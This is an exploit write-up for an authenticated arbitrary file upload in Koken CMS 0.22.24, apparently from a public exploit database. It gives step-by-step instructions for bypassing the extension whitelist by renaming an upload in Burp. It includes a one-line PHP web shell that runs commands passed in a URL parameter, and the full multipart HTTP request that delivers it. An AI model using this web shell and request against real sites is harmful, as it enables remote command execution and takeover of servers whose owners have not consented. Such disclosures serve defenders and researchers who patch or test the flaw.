Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)

# Exploit Title: Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated)
# Date: 2020-07-15
# Exploit Author: v1n1v131r4
# Vendor Homepage: http://koken.me/
# Software Link: https://www.softaculous.com/apps/cms/Koken
# Version: 0.22.24
# Tested on: Linux
# PoC: https://github.com/V1n1v131r4/Bypass-File-Upload-on-Koken-CMS/blob/master/README.md

The Koken CMS upload restrictions are based on a list of allowed file extensions (withelist), which facilitates bypass through the handling of the HTTP request via Burp.

Steps to exploit:

1. Create a malicious PHP file with this content:

   <?php system($_GET['cmd']);?>

2. Save as "image.php.jpg"

3. Authenticated, go to Koken CMS Dashboard, upload your file on "Import Content" button (Library panel) and send the HTTP request to Burp.

4. On Burp, rename your file to "image.php"


POST /koken/api.php?/content HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://target.com/koken/admin/
x-koken-auth: cookie
Content-Type: multipart/form-data; boundary=---------------------------2391361183188899229525551
Content-Length: 1043
Connection: close
Cookie: PHPSESSID= [Cookie value here]

-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="name"

image.php
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunk"

0
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="chunks"

1
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="upload_session_start"

1594831856
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="visibility"

public
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="license"

all
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="max_download"

none
-----------------------------2391361183188899229525551
Content-Disposition: form-data; name="file"; filename="image.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']);?>

-----------------------------2391361183188899229525551--



5. On Koken CMS Library, select you file and put the mouse on "Download File" to see where your file is hosted on server.